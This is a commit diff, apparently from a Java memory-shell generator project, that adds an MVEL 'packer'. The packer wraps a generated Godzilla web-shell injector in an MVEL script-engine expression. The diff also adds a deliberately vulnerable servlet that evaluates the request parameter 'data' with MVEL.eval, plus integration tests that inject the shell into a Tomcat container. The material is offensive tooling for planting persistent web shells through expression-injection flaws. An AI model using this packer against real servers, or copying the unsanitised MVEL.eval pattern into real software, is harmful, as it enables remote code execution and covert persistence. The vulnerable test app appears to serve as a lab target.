feat: support mvel packer

generator/src/main/java/com/reajason/javaweb/GeneratorMain.java

@@ -20,9 +20,9 @@ public class GeneratorMain {
 
     public static void main(String[] args) throws IOException {
         ShellConfig shellConfig = ShellConfig.builder()
-                .server(Server.SpringWebFlux)
+                .server(Server.Tomcat)
                 .shellTool(ShellTool.Godzilla)
-                .shellType(SpringWebFluxShell.NETTY_HANDLER)
+                .shellType(Constants.FILTER)
                 .targetJreVersion(Opcodes.V1_8)
                 .debug(true)
                 .build();
@@ -45,6 +45,7 @@ public class GeneratorMain {
 //            Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
 //            Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
             System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
+            System.out.println(Packers.MVEL.getInstance().pack(generateResult));
 //            Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
         }
     }

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java

@@ -11,6 +11,7 @@ import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
 import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
 import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
 import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
+import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
 import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
 import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
 import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
@@ -67,6 +68,7 @@ public enum Packers {
     EL(new ELPacker()),
 
     OGNL(new OGNLPacker()),
+    MVEL(new MVELPacker()),
 
     SpEL(new SpELPacker()),
     SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),

generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java

@@ -0,0 +1,33 @@
+package com.reajason.javaweb.memshell.packer.mvel;
+
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
+import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2025/1/29
+ */
+public class MVELPacker implements Packer {
+    String template = "";
+
+    public MVELPacker() {
+        try {
+            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/MVELScriptEngine.txt")), Charset.defaultCharset());
+        } catch (IOException ignored) {
+
+        }
+    }
+
+    @Override
+    public String pack(GenerateResult generateResult) {
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
+        return template.replace("{{script}}", script);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java

@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.packer.ognl;
 
 import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
+import com.reajason.javaweb.memshell.packer.Packers;
 import org.apache.commons.io.IOUtils;
 
 import java.io.IOException;
@@ -14,12 +14,11 @@ import java.util.Objects;
  * @since 2024/12/14
  */
 public class OGNLPacker implements Packer {
-    ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
     String template = "";
 
     public OGNLPacker() {
         try {
-            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
+            template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OGNLScriptEngine.txt")), Charset.defaultCharset());
         } catch (IOException ignored) {
 
         }
@@ -27,7 +26,7 @@ public class OGNLPacker implements Packer {
 
     @Override
     public String pack(GenerateResult generateResult) {
-        String script = scriptEnginePacker.pack(generateResult);
+        String script = Packers.ScriptEngine.getInstance().pack(generateResult);
         return template.replace("{{script}}", script);
     }
 }

generator/src/main/resources/MVELScriptEngine.txt

@@ -0,0 +1 @@
+new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')

integration-test/build.gradle

@@ -21,7 +21,7 @@ dependencies {
     testImplementation 'org.java-websocket:Java-WebSocket'
     testImplementation 'com.squareup.okhttp3:okhttp'
     testImplementation 'com.alibaba.fastjson2:fastjson2'
-
+    testImplementation 'org.slf4j:slf4j-simple:2.0.16'
 
     testImplementation platform('org.junit:junit-bom')
     testRuntimeOnly 'org.junit.platform:junit-platform-launcher'

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

@@ -146,6 +146,7 @@ public class ShellAssertionTool {
             case EL -> VulTool.postData(url + "/el", content);
             case SpEL -> VulTool.postData(url + "/spel", content);
             case OGNL -> VulTool.postData(url + "/ognl", content);
+            case MVEL -> VulTool.postData(url + "/mvel", content);
             case Freemarker -> VulTool.postData(url + "/freemarker", content);
             case Velocity -> VulTool.postData(url + "/velocity", content);
             case Deserialize -> VulTool.postData(url + "/java_deserialize", content);

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java

@@ -32,7 +32,6 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
 public class Tomcat8ContainerTest {
     public static final String imageName = "tomcat:8-jre8";
 
-
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
@@ -82,6 +81,7 @@ public class Tomcat8ContainerTest {
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity),
                 arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),

vul/vul-webapp-expression/build.gradle

@@ -21,6 +21,7 @@ dependencies {
     implementation 'commons-io:commons-io:2.+'
     implementation 'org.apache.velocity:velocity:1.7'
     implementation 'ognl:ognl:2.7.3'
+    implementation 'org.mvel:mvel2:2.4.7.Final'
     implementation 'org.springframework:spring-expression:4.3.0.RELEASE'
     providedCompile 'de.odysseus.juel:juel-api:2.2.7'
     providedCompile "javax.servlet:servlet-api:2.5"

vul/vul-webapp-expression/src/main/java/MVELServlet.java

@@ -0,0 +1,19 @@
+import org.mvel2.MVEL;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+public class MVELServlet extends HttpServlet {
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        resp.getWriter().println(MVEL.eval(data));
+    }
+}

vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml

@@ -72,6 +72,15 @@
         <url-pattern>/ognl</url-pattern>
     </servlet-mapping>
 
+    <servlet>
+        <servlet-name>mvel</servlet-name>
+        <servlet-class>MVELServlet</servlet-class>
+    </servlet>
+    <servlet-mapping>
+        <servlet-name>mvel</servlet-name>
+        <url-pattern>/mvel</url-pattern>
+    </servlet-mapping>
+
     <servlet>
         <servlet-name>velocity</servlet-name>
         <servlet-class>VelocityServlet</servlet-class>